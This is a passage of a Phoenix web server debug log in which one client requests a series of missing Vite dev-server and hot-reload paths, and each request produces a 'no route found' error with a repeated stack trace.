    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.107000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33352] GET /vite/hmr
[Sat Sep  5 01:59:32.107000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /vite/client.js
[Sat Sep  5 01:59:32.108000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47246] GET /vite/client
[Sat Sep  5 01:59:32.110000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33384] GET /vite/hmr.js
[Sat Sep  5 01:59:32.142000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33352] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.152000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33384] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.153000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47246] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.153000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47208] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.157000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /vite/hmr.mjs
[Sat Sep  5 01:59:32.204000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:49262] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.230000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39182] GET /@vite/env
[Sat Sep  5 01:59:32.260000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39182] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.272000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33368] GET /@hmr
[Sat Sep  5 01:59:32.299000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33368] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.340000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /@vite/client
[Sat Sep  5 01:59:32.362000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.384000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47234] GET /vite/hmr
[Sat Sep  5 01:59:32.384000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39198] GET /@vite/client.js
[Sat Sep  5 01:59:32.386000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39204] GET /@vite/client.mjs
[Sat Sep  5 01:59:32.431000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47234] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.435000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39198] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.436000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39204] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /vite/hmr.js
[Sat Sep  5 01:59:32.576000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47208] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.661000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33368] GET /@hmr.js
[Sat Sep  5 01:59:32.691000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33368] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.707000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /bundledDevClient.mjs
[Sat Sep  5 01:59:32.737000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.862000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33384] GET /@hmr.mjs
[Sat Sep  5 01:59:32.894000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33384] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /__hmrClient
[Sat Sep  5 01:59:32.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47246] GET /vite/hmr.mjs
[Sat Sep  5 01:59:32.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39182] GET /vite/client
[Sat Sep  5 01:59:32.976000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33352] GET /__hmrClient.js
[Sat Sep  5 01:59:32.982000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39182] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

